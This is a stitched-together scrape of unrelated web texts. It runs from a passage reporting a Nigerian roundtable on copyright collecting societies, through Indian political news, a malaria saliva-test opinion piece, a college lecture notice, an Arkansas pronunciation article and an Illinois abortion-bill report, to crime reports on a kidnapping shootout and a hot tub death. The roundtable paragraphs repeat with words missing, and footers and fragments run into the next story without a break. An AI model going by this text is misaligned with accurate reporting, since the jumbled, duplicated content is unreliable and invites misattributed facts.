practice.

...around the table



Panel Discussions

John Onyido (SPA Ajibade & Co.) opined that the two decisions reflect the lack of specialist knowledge of copyright law in Nigerian courts. He also noted that lawyers should step up their game in research and continuing legal education especially given the complexities of copyright law and IP law, generally. He re-echoed Desmonds suggestions regarding approving additional CMOs. John Asien agreed with the suggestion for continuing legal education for judicial officers and practising lawyers, indicating that the NCC had plans underway regarding training for judicial officers on copyright law. (SPA Ajibade & Co.) opined that the two decisions reflect the lack of specialist knowledge of copyright law in Nigerian courts. He also noted that lawyers should step up their game in research and continuing legal education especially given the complexities of copyright law and IP law, generally. He re-echoed Desmonds suggestions regarding approving additional CMOs. John Asien agreed with the suggestion for continuing legal education for judicial officers and practising lawyers, indicating that the NCC had plans underway regarding training for judicial officers on copyright law.



Mena Ajakpovi (Udo Udoma & Bello-Osagie) discussed the many ways in which the decisions may breed indiscipline and anarchy in the collective administration of copyright. He noted that his firm has been asked to represent a company sued by Collecting Society of Nigeria (COSON) for copyright infringement wherein COSON has described itself as owner, assignee and exclusive licence of copyright. To Mena, this catch phrase is one enabled by the decisions of the SC and is particularly alarming given that the public is aware that COSON is a collecting society whose license has been suspended: see Trademark Regulations regarding service marks, he recommended an amendment of the CMO Regulations in a manner that addresses the adverse effects of these decisions. (Udo Udoma & Bello-Osagie) discussed the many ways in which the decisions may breed indiscipline and anarchy in the collective administration of copyright. He noted that his firm has been asked to represent a company sued by Collecting Society of Nigeria (COSON) for copyright infringement wherein COSON has described itself as owner, assignee and exclusive licence of copyright. To Mena, this catch phrase is one enabled by the decisions of the SC and is particularly alarming given that the public is aware that COSON is a collecting society whose license has been suspended: see here . Citing the example ofregarding service marks, he recommended an amendment of the CMO Regulations in a manner that addresses the adverse effects of these decisions.



The Panel session ended with a contribution from this IPKat contributor offering highlights from previous posts on the practical outcomes of the subject discussions. 3 key points follow from the decisions that would ensure that CMOs and pseudo CMOs remain with the NCCs regulatory control: the need to clarify the business of a collecting society as such clarification will guide practitioners and courts in better identifying organisations who are collecting societies in the eyes of the law; the need for a corporate governance code or best practices for governance of collecting societies and the imperative to make the powers of the NCC effective through compelling compliance and dissuading non-compliance. Following from those key points, some next steps for the Commission were recommended. These include: providing a more robust corporate governance rules; making the powers of the NCC in corporate governance issues of CMOs effective; and greater scrutiny of documents (e.g. consent letters/deed of assignment issued by right-holders to the CMOs) submitted by prospective CMOs when seeking the NCCs approval to operate. Both John Asien and NCCs Mike Akpan (Director of Regulatory Affairs) noted the suggestions and indicated that apart from taking steps to make its regulatory powers more effective, the NCC was already collaborating with WIPO on adapting WIPOs best corporate governance practices for CMOs in Nigeria. The Panel session ended with a contribution from this IPKat contributor offering highlights from previous posts on the practical outcomes of the subject discussions. 3 key points follow from the decisions that would ensure that CMOs and pseudo CMOs remain with the NCCs regulatory control: the need to clarify the business of a collecting society as such clarification will guide practitioners and courts inorganisations who are collecting societies in the eyes of the law; the need for a corporate governance code or best practices for governance of collecting societies and the imperative to make the powers of the NCC effective through compelling compliance and dissuading non-compliance. Following from those key points, some next steps for the Commission were recommended. These include: providing a more robust corporate governance rules; making the powers of the NCC in corporate governance issues of CMOs; and greater scrutiny of documents (e.g. consent letters/deed of assignment issued by right-holders to the CMOs) submitted by prospective CMOs when seeking the NCCs approval to operate. Both John Asien and NCCs Mike Akpan (Director of Regulatory Affairs) noted the suggestions and indicated that apart from taking steps to make its regulatory powers more effective, the NCC was already collaborating with WIPO on adapting WIPOs best corporate governance practices for CMOs in Nigeria.



More suggestions

The roundtable ended with NCC's Mike Akpan heading an open discussion with all participants identifying issues (e.g., adverse effect of the decisions on the regulatory abilities of the NCC over CMOs, the continued application of the provisions of the Copyright Act under which the NCC may still regulate CMOs), the failure of the decisions to capture the spirit and practice of the industry as it relates to the Copyright Act, etc.) and discussing potential future actions, legislative and regulatory changes, administrative changes, etc. to address some of the issues. Several participants encouraged the filing of amicus briefs to courts on complex copyright issues when they come up in courts. Participants hope that the NCC will pay special attention to an inclusive education on copyright, copyright law and practice that includes judges, practitioners, right-holders and other stakeholders and further review of policy and regulatory documents with respect to CMOs.





Overall, it was a highly informative roundtable with excellent questions and observations from the audience and panellists. It is quite good to see that the new Director-General, John Asien is keen to have the Commission provide regulations and directions that are practicable and tested by practitioners and researchers knowledgeable in copyright law, for the Nigerian copyright system. It is now left to see action from the NCC and more issues that would come up for discussion in subsequent roundtable events.

Photo by Obi Ezeilo (NCC).



Video Editor: Purnendu Pritam

Video Producer: Hera Khan

Samajwadi Party's Mulayam Singh Yadav on Wednesday, 13 February, said he would want Narendra Modi to return as the prime minister for a second term.

Speaking at the Lok Sabha, Yadav said he wanted to congratulate Modi for trying to work together with everyone and move forward, and that he would want all the members to win and for Modi to become the prime minister again.

"I want to congratulate the prime minister for trying to work with everyone and move along. What I want to say that may all the members win again, and you [Modi] become the PM again." - Mulayam Singh Yadav

UPA Chairperson and Congress leader Sonia Gandhi, who was sitting right beside Mulayam Singh, appeared flustered by his remarks.

I Disagree With Mulayam Ji: Rahul Gandhi

Congress President Rahul Gandhi reacted to the former UP chief minister's statement, saying that though he disagreed with his comments, "Mulayam Singh Yadav has a role in politics and I respect his opinion.

Modi, meanwhile, during his Lok Sabha address on Wednesday, said, This House has demolished more than 1,400 laws too. There was a jungle of laws that was created. And this is an auspicious beginning and there is a lot yet to do... and for that itself Mulayam ji has given his blessings.

Also Read: How Twitter Polls Are Going Horribly Wrong For Narendra Modi & BJP

Party Wants Change of Govt at Centre: SP

Ravidas Mehrotra of Samajwadi Party responded to Mulayam Singh's comment and said, "I don't have knowledge about the context in which Neta Ji said it. But we want a change of government at the Center. The PM himself will lose from his constituency (Varanasi)."

Samajwadi Party leader Azam Khan who also reacted to Mulayam Singhs comment said, I felt extremely sad hearing this. The remarks arent Mulayams, but someone has influenced him.

Like Mulayam, Heir Will Also Accept Truth, Says Yogi

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Uttar Pradesh Chief Minister Yogi Adityanath responded to Mulayam Singh's comment saying, "Whatever Mulayam Singh said in Lok Sabha is true. I have faith that just like Mulayam Singh ji, his heir will also accept this truth."

NCP's Supriya Sule also reacted to Yadav's statement in the House of Parliament, and pointed Yadav has said the same for Manmohan Singh in 2014.

"I have heard that respected Mulayam Singh ji had said the same thing for Manmohan Singh ji in 2014," she said.

Also Read: SP Workers Clash With Cops After Akhilesh is Stopped at Airport

Akhilesh Stopped at Lucknow Airport

Meanwhile, in the Lok Sabha, SP MLAs raised the issue of Uttar Pradesh authorities preventing their chief, Akhilesh Yadav, from flying to Allahabad, even as the Centre asserted that neither the government nor the BJP had any role.

After Akhilesh was stopped at Lucknow airport, SP workers clashed with police in several parts of Uttar Pradesh on Tuesday, 12 February.

During the Zero Hour, Dharmendra Yadav and other SP members displayed placards to register their protest on the issue.

Dharmendra, whose forehead was bandaged, alleged that workers were lathicharged by UP Police on Tuesday.

He claimed that members of legislative council, workers and women, among others, were beaten up.

Parliamentary Affairs Minister Narendra Singh Tomar said the SP chief was prevented from flying to Allahabad on the grounds of law and order. The BJP and the government does not have anything to do with it, he stressed.

Also Read: Heres How Akhilesh Can Bring Mayawati, Rahul & Priyanka Together

(With inputs from PTI)

. Read more on India by The Quint.RSS & BJPs Nehru-Netaji Cosplay: Irony Dies a Thousand DeathsSacrifices Wont Go In Vain: PM Modi Condemns Pulwama Attack . Read more on India by The Quint.Prithvi Man Shrestha is a political reporter for The Kathmandu Post, covering the governance-related issues including corruption and irregularities in the government machinery. Before joining The Kathmandu Post in 2009, he worked at nepalnews.com and Rising Nepal primarily covering the issues of political and economic affairs for three years.Congress General Secretary for Uttar Pradesh East Priyanka Gandhi Vadra on Wednesday, 13 February, said that the Congress will fight 2019 elections with all its might.

Priyanka was speaking as the party roped in a little-known local outfit called Mahan Dal in an alliance in Uttar Pradesh for the Lok Sabha polls.

Rahul ji has given us the task of creating a political environment where everybody gets representation and everybody gets leadership, she said.

We will fight the battle of 2019 with all our might, she added.

After making her debut in UPs political arena with a mega roadshow, on Monday, 11 February, Gandhi got down to business, holding strategy sessions to script her party's victory in the upcoming parliamentary polls.

Mahan Dal Joins Hands With Congress

Jyotiraditya Scindia, another general secretary of the Congress looking after Western UP, and Keshav Dev Maurya of the Mahan Dal announced the alliance at the state Congress office in Lucknow.

Maurya said, "Congress has always thought about the welfare of Dalits and backward castes. It is the only party which thinks of taking everyone along with itself. At present, there is an atmosphere of anarchy in the entire state. The alliance between Congress and Mahan Dal will last long," he said.

The Mahan Dal had forged an alliance with the Congress for the 2009 and 2014 Lok Sabha elections. It had joined the Congress-led United Progressive Alliance in 2014 but contested the 2017 UP Assembly elections separately.

In the western Uttar Pradesh, the Mahan Dal contested three Lok Sabha seats of Badaun, Nagina and Etah, though it faced defeats in all these constituencies.

The Mahan Dal claims support from the OBC voters of the western UP, especially Shakyas, Mauryas and Kushwahas.

(With inputs from PTI)

. Read more on Politics by The Quint.RSS & BJPs Nehru-Netaji Cosplay: Irony Dies a Thousand DeathsKarnataka Audio Tape Row: FIR Filed Against Yeddyurappa, 3 Others . Read more on Politics by The Quint.Former CBI Director Alok Verma has been dropped from the list of speakers at the Delhi's prestigious Sri Ram College of Commerce (SRCC) Students' Union Business Conclave 2019, officials said.

An invitation was sent to him on 9 January, a day after he was reinstated as the director of the probe agency by the Supreme Court, with a request to speak during the event on Thursday, they said.

The next day, a high-powered committee comprising Prime Minister Narendra Modi, Justice A K Sikri and leader of Congress in Lok Sabha Mallikarjun Kharge decided to transfer him from the post of CBI director in a split decision, with Kharge giving a strong dissent note to the committee.

Efforts to reach Verma did not fructify but his aides said he was intimated about the decision to drop him as a speaker.

Also Read: Who is Rishi Kumar Shukla, Alok Vermas Replacement as CBI Chief

Committee Decided to Drop Him Due to Few Other Issues: Official

The event is considered a big platform, where leading politicians and other eminent personalities address the student. Modi had also addressed the event in 2013 in run-up to general elections of 2014.

The college prides itself in having alumni like Union minister Arun Jaitley.

The permission did not come from the college authorities so he would not be attending the event on Thursday, 14 Feburary, an official in the know of the development said on the condition of anonymity.

Asked whether a clearance was sought from the college authorities before inviting Verma, the official said it was taken. But once the controversy erupted and there were "a few other issues", the organising committee decided to drop him, the official said.

Also Read: Can Govt Initiate Disciplinary Action Against Alok Verma?

Principal Not Aware of Invitation

When reached for comments, SRCC Principal Simrit Kaur said she was not aware of the invitation and the subsequent development.

Verma, who was in a bitter tussle with his deputy, Special Director Rakesh Asthana, was first removed from the post of CBI director by the government after he had ensured filing of an FIR against Asthana on corruption charges.

Story continues

The two officers had levelled allegations of corruption on each other.

The Supreme Court had rejected his "transfer" and reinstated him on 8 January 2018.

Also Read: Alok Verma Quits IPS a Day After Being Shunted From CBI

. Read more on India by The Quint.RSS & BJPs Nehru-Netaji Cosplay: Irony Dies a Thousand DeathsKarnataka Audio Tape Row: FIR Filed Against Yeddyurappa, 3 Others . Read more on India by The Quint.Spit here, please.

Will this become the instruction we receive upon entering clinics, schools, apothecaries and ports of entry throughout the globe?

One of the main factors enabling the continued transmission of malaria are individuals who are free from symptoms but carry the malaria parasite in their blood. However, the parasite numbers in the blood are so low they cannot be detected by current diagnostic tests. Since these individuals are not sick and do not visit a clinic, the true size of this parasite reservoir in the human population is unknown.

The parasite numbers in the blood are so low they cannot be detected by current diagnostic tests.

Globalization complicates the situation further. Individuals with asymptomatic infections can now unwittingly carry malaria parasites across borders, on airplanes, ships and trucks.

As individuals who carry the malaria parasite frequently move in and out of countries that are malaria-free, there is always the risk of mosquitoes biting these infected individuals, picking up the parasite and triggering local transmission of the disease.

If the parasite is in the blood and it cant be detected, then is there hope that we can reduce global malaria by greater than 90 percent within the next 10 years ? My colleagues and I at the UF Emerging Pathogens Institute have recently developed a new test that can detect evidence of the malaria parasite using saliva rather than blood.

Making it to Your Fifth Birthday

Every two minutes , a child under the age of five dies from malaria . Every year, more than 400,000 deaths occur because of malaria, a disease caused by a parasite that is spread by mosquitoes and has co-evolved with human society for millennia.

Since much of the disease burden occurs in sub-Saharan Africa, it is something that those of us in developed nations seldom hear, and rarely worry about. But more than one-third of the worlds population is at risk for becoming infected.

Since 2007 , the world has been engaged in a lofty endeavour to eliminate if not eradicate this disease for good. Elimination is local or regional; eradication involves eliminating the disease worldwide. As a malariologist and vector biologist working in this discipline for almost two decades, I was fortunate enough to be part of the think tank that informed the global malaria eradication road map .

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Since so much of the malaria burden is confined to developing or underdeveloped countries, those of us in developed countries seldom hear about it.

Working in disease endemic countries in sub-Saharan Africa, I have seen the daily toll on parents as they see their children, their little baby girl or boy, succumb to this disease. I recall a particularly moving incident not too long ago, as I was chatting with a little girl outside of a clinic in Cameroon. She was the same age as my own 5-year-old daughter and the clinicians were treating her brother for malaria.

As I listened to her animated effort to speak to me in American English, I was suddenly overwhelmed. It was a powerful reminder of why the rest of the world cannot ignore the horrible toll this disease takes on the very young. This among many memories strengthened my conviction to keep contributing in some form to malaria eradication.

Despite the concerted global effort that has resulted in a significant decline in the number of deaths from 2 million to less than half a million each year , residual transmission of the parasite remains.

Early Detection, Early Treatment, No Malaria

An innovative diagnostic tool can now identify children infected with malaria parasites but who are not yet sick. Through early detection, public health workers can now provide early treatment and essentially prevent the symptomatic cascade towards malaria.

Current malaria diagnostic tests have a problem. That problem is blood. Every single parent who has brought their child to a health care provider knows what hell-raising howls a needle or sharp lancet will bring. For some adults, giving blood as a child causes lifelong trauma.

But why does it have to be blood? By understanding the fundamental biology of the parasite in its human host and with a bit of serendipity it became clear to me that noninvasive options for detecting the parasite exist.

After a routine six-month cleaning at the dentist, wherein the hygienist nicked me accidentally, I realized that perhaps the barrier between blood and saliva is a low one - especially if you have a gum disease called gingivitis (common in countries with poor overall health care).

The saliva test basically works like other blood-based malaria rapid diagnostic tests.

Was it possible, I wondered, that the parasite, secretes a molecule that we can detect in saliva? It turns out that this was indeed the case.

My team and I in Florida developed a mobile prototype of the conceptualized rapid (five- to 20-minute) test, which we describe in Science Translational Medicine . Our device uses only 10 microliters  1/478th the volume of a teaspoon  of saliva to detect a new protein called PSSP17 that is secreted by the parasite. We tested it using the saliva of 5- to 15-year-old children in Cameroon, Zambia and Sierra Leone who are free of malaria symptoms.

The saliva test basically works like other blood-based malaria rapid diagnostic tests that have a test strip inside a plastic cassette, similar to a pregnancy test. It is important to note that the portable saliva test is almost as sensitive as a molecular diagnostic test, which are only available from a laboratory.

With commercial release anticipated over the next three years, discussions about the potential utility of this innovation as a commercial product are profound. With a saliva test just a few years away, how many more children will now be able to celebrate their fifth birthday?

(This is an opinion piece and the views expressed above are the authors own. FIT neither endorses nor is responsible for the same. This article was originally published on The Conversation. Read the original article here.)

The Conversation

. Read more on Fit by The Quint.RSS & BJPs Nehru-Netaji Cosplay: Irony Dies a Thousand DeathsFIT WebQoof: There is No Miracle Medicine That Cures Blood Cancer . Read more on Fit by The Quint.Probe committee asks Lalitpur Madhyamik Vidhyalaya to summon its principal from the United States

The committee investigating the sexual abuse of students by teachers at Lalitpur Madhyamik Vidhyalaya has asked the school to recall its principal Madhav Sitaula from the United States.Ichabod explores the Age of Apostasy, predicted in 2 Thessalonians 2:3, with an emphasis on UOJ, Church Growth, and Emergent Church heresies. The antidote to these poisons is trusting the efficacious Word in the Means of Grace. John 16:8. Most readers are WELS, LCMS, ELS, or ELCA. This blog also covers the Roman Catholic Church, Eastern Orthodoxy, and the mainline denominations.Remarks: This came out in 1994, going gold in the US, UK and New Zealand. It is made from her mothers sayings. Desree is a one-hit wonder in the US, but ...

3 days agoDr. Kari Nysse Carris, a 1996 Hope College graduate who is vice president of health sciences at NORC (formerly known as the National Opinion Research Center) at the University of Chicago will present Research Methods: The Tie That Binds on Monday, Feb. 18, at 3:30 p.m. at Hope in Winants Auditorium of Graves Hall through the colleges annual John Shaughnessy Psychology Lecture Series.

The public is invited. Admission is free.

The title of the address links the research focus of Carris work, the Department of Psychologys integration of research throughout its curriculum and John Shaughnessys signature Research Methods course  taken by more than 2,500 students during his time at the college.

Carris will discuss how exposure to and experience with social science research methods while at Hope has informed and shaped her career conducting surveys and statistical analysis while working for NORC, which is one of the nation's oldest independent research institutes. She has conducted studies on a variety of topics, ranging from childrens eyewitness testimony to juror decision making, problem gambling, health disparities and women's reproductive health. She will share real-world examples of how a solid grounding in research methods has allowed her to contribute to a wide variety of projects that inform policies at national, state, and local levels.

In her role with NORC, Carris provides methodological expertise to clients and managerial leadership to staff, and assists with the development and oversight of NORCs health-research portfolio. She leads multidisciplinary teams to design, develop and deliver complex survey data and analytic products used by federal agencies, foundations and researchers to inform policy decisions in the public-health, healthcare and mental-health arenas. Her expertise spans a range of data-collection methodologies and modes, and she has directed telephone, in-person, web and self-administered survey projects.

Carris majored in psychology and sociology at Hope. She received her doctorate in social psychology from the University of Illinois at Chicago in 2002.

The lecture series is named in memory of Dr. John Shaughnessy, a professor emeritus of psychology who died on Dec. 16, 2015. He had taught at Hope for 40 years, from 1975 until retiring at the end of the 2014-15 school year, and was highly regarded for both his teaching and his commitment to engaging students in collaborative research. Among other honors, he received the Hope Outstanding Professor Educator (H.O.P.E.) Award from the graduating class in 1992 and the colleges Janet L. Andersen Excellence in Teaching Award in 2008. The annual lecture series, which is funded through an endowment and debuted in March of 2017, features psychology alumni who in addition to giving a presentation interact with students, demonstrating ways in which their Hope psychology education informs and shapes their work.

Graves Hall is located at 263 College Ave., between 10th and 12th streets." " Brian Stansberry/Wikimedia Commons/CC BY 4.0 Welcome to 'Ar-Kansas'? No way. The state of Arkansas has decreed its state is pronounced like "Arkansaw" and with good reason.

Imagine you're an intrepid 17th-century French explorer traversing the expansive wilderness of Louisiana (New France), a territory spanning the entire Mississippi basin from modern-day Louisiana through Illinois and northward into Canada. You encounter dozens of native tribes, each with its own confounding language or dialect, and you attempt to record their names in your journal as best you can.

This imperfect system is how English-speaking Americans arrived at many of the names for Native American tribes, including the Dakota, Iowa, Alabama, Nebraska, Ottawa, Chippewa and Tuskaloosa. Think of it as a centuries-long game of multilingual "telephone." Tribal names evolved from their original native pronunciation into a French approximation and finally into an Anglicized mangling of the French.

Which brings us to the legitimately confusing question of how the state of Kansas could be pronounced "KAN-zis" while the nearby state of Arkansas, with the addition of two simple letters, is pronounced "AR-kin-saw."

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The Politicians Weigh In

This very question was the subject of a fascinating pamphlet published way back in 1881 titled, "Fixing the Pronunciation of the Name Arkansas." The booklet, written by members of the Arkansas Historical Society, was meant to provide historical context to a resolution passed by the Arkansas General Assembly declaring the one and only correct pronunciation of Arkansas:

"It should be pronounced in three syllables, with the final 's' silent. The 'a' in each syllable with the Italian sound, and the accent on the first and last syllables, being the pronunciation formerly universally and now still most commonly used."

Apparently, some eggheads at Webster's dictionary had changed the entry for Arkansas to include a new pronunciation note  "Ar-kan-sas, formerly Arkansaw"  and that sent red-blooded Arkansans into a lexicographical tizzy.

The authors of the Arkansas Historical Society pamphlet called it a "vicious pronunciation" with "no basis of reason, authority, or prior polite usage." Moreover, people who said "Ar-Kansas" "failed to consider that they would thus render ridiculous a name highly poetic in its sounds, and associated with the grandest memories of the past, from the days of [French explorer Jacques] Marquette downward."

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Blame the French

The Arkansas Historical Society members argued that the divergent pronunciations of Arkansas and Kansas stem from similar French names given to two different Native America tribes. A Siouan tribe lived near the modern-day Kansas River and early French explorers called them by a version of their name, which sounded to their French ears like "Kansa." The second tribe, the Quapaw, lived further southwest along the modern-day Arkansas River and, for reasons unknown, the French called them by their Algonquin name, "Akansa."

Those tribal names, as the French rendered them, look and sound very similar, but again, for reasons unknown, early French explorers wrote out the associated place names very differently. Explorer Henri Joutel, writing in 1687, called the area around modern-day Arkansas "Accanceas" and spelled Kansas "Chanzes." By 1723, Arkansas was routinely spelled "Arkansas," but as late as 1805 French cartographer Perrin du Lac called Kansas "Kances."

Clearly, at some point an "r" was added to the original Algonquin name Akansa. One theory, mentioned in a 1945 article in the Arkansas Historical Quarterly, is that the Akansa used a particularly cool bow when hunting and the French word for bow is "arc." It's possible that the French explorer's admiration for the weapon influenced their pronunciation. Other French explorers called the Arkansas river "la riviere des arcs" ("river of the bends") for its curvy course. Either example could explain why the French Colonel de Champigny, writing in 1776, chose to call the region "Arckantas."

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The Ahs Have It

Which brings us to the pronunciation question. The 1881 Arkansas Historical Society pamphlet concluded that both Kansas and Arkansas have roots in similar Indian tribal names, but that Kansas chose to follow the standard English pronunciation  marked by the hard "a" sound in "can" and vocalizing the final "s"  while Arkansas stuck with the original French pronunciation.

It's the long French (and Italian) "ah" sound, wrote the Arkansas Historical Society, which explains why Arkansas was sometimes spelled "Arkansaw," including in the 1818 peace treaty between the United States and the Quapaw. The inclusion of the "s" at the end of Arkansas was likely a product of pluralization. If the tribe was called the Akansa, then multiple members of the tribe were the Akansas. But since the final "s" is silent in French, all that's left is the "ah" sound.

The 1945 article in the Arkansas Historical Quarterly makes an interesting point, though. The Arkansas legislature made a big deal in 1881 about fixing for good the true pronunciation of the state name, emphasizing that all three "a"s should be pronounced "with the Italian sound." Yet the unanimous pronunciation of Arkansas by native Arkansans and interlopers alike is "AR-kin-saw." So much for adhering to the letter of the law.

Now That's Cool In 1880, the Arkansas Historical Society wrote the iconic American poet Henry Wadsworth Longfellow for his take on the pronunciation question. "I confess I prefer the sound of Arkansaw as being more musical than Arkansas," he replied. Case closed.** For the most up-to-date information on this topic, please click here . About a week ago I was reading some information with regards to...SPRINGFIELD  Democratic lawmakers, surrounded by a coalition of advocates, announced plans to expand state reproductive and abortion rights at a news event Tuesday in Chicago.

The effort would build upon a law passed two years ago that allowed tax dollars to be spent on abortion procedures.

State Sens. Melinda Bush and Elgie Sims Jr., and state Reps. Kelly Cassidy and Emanuel Chris Welch have not officially proposed language yet  the deadline for doing so is Friday  but the group said their measures would modernize the states abortion law and repeal another law that requires a minor to consult her parent before terminating a pregnancy.

The announcement of their two forthcoming bills follows a vow Democratic Gov. J.B. Pritzker made last month to make Illinois the most progressive state in the nation for access to reproductive health care, his spokeswoman Jordan Abudayyeh said in an email.

The first bill would repeal Illinois abortion law, passed in 1975, and replace it with the Reproductive Health Act, which would bring state reproductive health care laws up to date, according to a news release.

The measure would also require private insurance companies operating in Illinois to cover abortion care on the same basis as contraception, fertility and maternity care.

When Republican Gov. Bruce Rauner signed House Bill 40 into law, it required tax dollars to be spent on abortion procedures through Illinois Medicaid and state employee health insurance programs.

Soon after, attorneys with the Thomas More Society filed a lawsuit challenging its constitutionality. The latest court documents, in which lawyers asked the Illinois Supreme Court to take up the case, were filed in December.

Republican state Sen. Dan McConchie of Hawthorn Woods said this aspect of the proposal forces everyone paying for the insurance policy  employers, employees, insurance companies  to participate financially in abortions of other people who are part of the policy.

Theres no freedom of conscience to opt out of that, he said.

The Democratic lawmakers bill would also remove criminal penalties for doctors who perform abortions. Colleen Connell, executive director of the states chapter of the American Civil Liberties Union, said this would remove a dangerous part of existing law.

The reason doctors arent going to prison today for providing abortions and prescribing certain forms of birth control is because the ACLU has gone to court time and again and secured more than 14 injunctions blocking the enforcement of these dangerous laws, she said at a news event Tuesday.

The current law specifies a multitude of instances for which a physician who performs an abortion commits a felony.

The lawmakers measure would additionally lift a state ban on partial-birth abortion procedures.

The Reproductive Health Act recognizes that abortion care is health care, not criminal activity as designated by the current law, according to a news release. The bill seeks to treat abortion care like all health care, with regulations that reflect current medical standards.

Parental notice

The second piece of legislation the four lawmakers plan to file would repeal the Parental Notice of Abortion Act of 1995, which requires a minor to consult with her parent or guardian before terminating a pregnancy.

There are exceptions in the current law if the minor is a victim of sexual abuse or neglect by an adult family member, and minors currently have an avenue to petition the circuit court to issue a waiver of notification.

According to the law, Parental consultation is usually in the best interest of the minor and is desirable since the capacity to become pregnant and the capacity for mature judgment concerning the wisdom of an abortion are not necessarily related.

But the sponsors of this legislation argued Tuesday the state should not legislate the details of family life.

It never made sense to me that a minor can make other decisions  about carrying a pregnancy to term, about adoption, about sophisticated health care  without parental notification, but only if she seeks an abortion do we require this communication, Welch said. We cannot pretend as elected officials that we can force ourselves into these situations because some disagree with a minors decision about their life.

According to data from the Illinois Department of Public Health, the number of abortion procedures undergone by minors decreased each year since the Parental Notice Act went into effect.

Most people believe a decline in the number of abortions is a good thing, McConchie said. I think that the effort to repeal Parental Notice tells parents one thing  you don't really matter in your child's life.

March for Life Chicago Board of Directors President Dawn Fitzpatrick said she is also opposed to the repeal of this law.

It is unbelievable that the ACLU is joining Planned Parenthood in advocating to allow a child to make an irrevocable decision to kill another child without even a consultation with her parents, she said in an email.

These two initiatives are mirrored by recommendations made by Pritzkers Equality, Equity, and Opportunities transition team. In its report, published last week, the group called for the governors administration to take action to keep abortion safe, legal, and accessible by repealing both laws targeted by the proposals introduced by Bush, Sims, Cassidy and Welch.

It appears the four lawmakers have the governors support. His spokeswoman said in an email Pritzker is a lifelong advocate of womens rights and looks forward to reviewing the legislation.

But it is unlikely the four Democrats will find much support across the aisle. They have not yet begun conversations with their conservative colleagues, Cassidy said, and the Republican caucuses were not in favor of House Bill 40.

McConchie did not speak to the Democrats first proposed bill, but did say he had not heard of any member of his party supporting the repeal of the Parental Notice Act.

The days of the Democratic Party being a party of abortion being safe, legal and rare are clearly over, he said generally of the measures. This is not just support for abortion  this is enthusiastic support for it.

Although the Democrats do not need Republican support to approve these bills  the party has a supermajority in both chambers  Cassidy added she hopes to achieve a bipartisan vote.

I dont think Ive ever passed a bill without Republican support  I hope this doesnt break my streak, she said. We have elected the most significant pro-choice majority in my lifetime in Illinois, and Im looking forward to the support of my colleagues from wherever they come.

Advocacy groups at the news event Tuesday included the ACLU, Planned Parenthood, Illinois Caucus for Adolescent Health, Personal PAC, Chicago Abortion Fund and EverThrive Illinois.

Love 0 Funny 0 Wow 0 Sad 0 Angry 1GREENVILLE  A man kidnapped his girlfriend and their child in mid-Missouri and led police on a chase into Illinois, then killed an innocent motorist in a carjacking attempt before dying in a shootout with officers late Tuesday night, authorities said.

The carjacking victim, a man from north St. Louis County, was killed in rural Illinois. The alleged carjacker died in an exchange of gunfire in Bond County, Illinois, though it wasn't clear whether a shot from police killed him or he shot himself. The girlfriend was shot several times and was in surgery. The child was not hurt.

Capt. Timothy Tyler, commander of the Illinois State Police District 11, identified the dead gunman as Leslie K. Austin, 39, of Jefferson City, Mo. He said the man killed in the carjacking attempt was Gregory Price, 67.

It all began about 7:30 p.m. Tuesday in Jefferson City, when police were called about a shooting on a parking lot at an apartment complex in the 500 block of East Elm Street. Witnesses saw a blue SUV speed away. Police say Austin had kidnapped his girlfriend and their child. The woman was shot during the abduction.

Jefferson City Police Lt. Dave Williams said the woman had a restraining order against Austin. According to court records, a judge in Cole County Circuit Court last Thursday ordered Austin to stay at least 100 feet away from the woman.

The path of the pursuit included Highway 50 in Missouri and interstates 44 and 55 into Illinois. The woman and child somehow managed to escape the fleeing SUV once the pursuit entered Bond County, about 50 miles east of St. Louis and 170 miles by road from Jefferson City.

Tyler said the woman, 33, was in surgery Wednesday morning and still alive. A Bond County official identified the child as a 10-year-old girl.

After the kidnapping and shooting in Jefferson City, police checked with local hospitals there but didn't find any victims; so they put out an alert to other Missouri agencies to watch for the blue SUV.

Franklin County deputies spotted the SUV before 9 p.m. on Highway 50 near Highway 47 in Union and tried to stop it. The vehicle, a 2017 Mitsubishi, sped away. Police in Franklin County were joined by troopers with the Missouri Highway Patrol in a chase. During the chase, police say multiple shots were fired from the suspect's vehicle, Williams said.

The chase continued on I-44 east into St. Louis County and St. Louis city before crossing into Illinois. The SUV crossed the Poplar Street Bridge into Illinois at 9:34 p.m. Tuesday, Trooper Josh Korando of the Illinois State Police said. Police from several jurisdictions were in pursuit.

Once in Illinois, Bond County deputies threw down "stop sticks" to deflate the tires of the fleeing SUV on Route 140 near the Bond and Madison county line, said Chief Deputy Josh Hill of the Bond County Sheriff's Department. The tactic worked, and the fleeing SUV was slowed near Mettler Road. However, the pursuit continued  at low speeds  for a short distance until the shootout near on Old Nebo Avenue near Terrapin Ridge Road.

The disabled vehicle was moving slow enough that the woman and girl were able to get out along Illinois Route 140, police say.

At some point along Route 140, Austin tried to carjack another vehicle, and he fatally shot Price. Korando said Price had been driving a pickup on Route 140 when he apparently pulled to the shoulder because he saw the police lights from the pursuit coming toward him.

"He was doing the right thing," Korando said of Price, for pulling over.

Korando wasn't certain what happened next; he said he hasn't talked with any officers to get an account of the attack. But Austin tried to take Price's vehicle and shot him dead.

"It's terrible," Korando said.

Austin didn't take Price's vehicle, but instead kept his own and continued to flee police in Bond County. He tried to carjack another vehicle but couldn't. Police didn't elaborate.

Austin got out of his SUV at a dead end of Old Nebo Avenue and fired several rounds of gunfire at pursuing officers, Korando said. An officer with the Illinois State Police returned fire. Police soon found Austin dead.

"At this time, we don't know if the officers shot him or it was a self-inflicted gunshot wound," Korando said.

An autopsy was being performed Wednesday on Price and Austin, according to Bond County Coroner Tony Brooks. Brooks said he expected to have preliminary results by late afternoon Wednesday.

Illinois State Police troopers and officers from several jurisdictions were involved in the pursuit, but none was hurt, Korando said.

Price, the carjacking victim, lived on a street near Highway 367 in north St. Louis County. A man who answered the door at Price's home Wednesday said the family wasn't ready to talk yet.

Denise Hollinshed of the Post-Dispatch contributed to this report.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0WHEELING  A Wheeling man was charged with involuntary manslaughter after he allegedly closed the lid over a hot tub while his wife was struggling to get out, police said.

Eric Huska, 58, was arrested Saturday night at his home in the 300 block of Marion Court. The death of his wife, Laura Huska, 57, was ruled a homicide, according to the Cook County medical examiner's office.

According to a news release from Wheeling police, an investigation revealed an outdoor video surveillance recording of the incident. The video showed Laura Huska was in distress and trying to get out of the hot tub on her own, police said.

Eric Huska initially attempted to help his wife out of the tub. Then, police said, he "partially closed the lid of the hot tub" while his wife was still in it.

The husband went into the residence but later returned to the tub and found his wife "floating unresponsive inside the closed hot tub," police said in the news release.

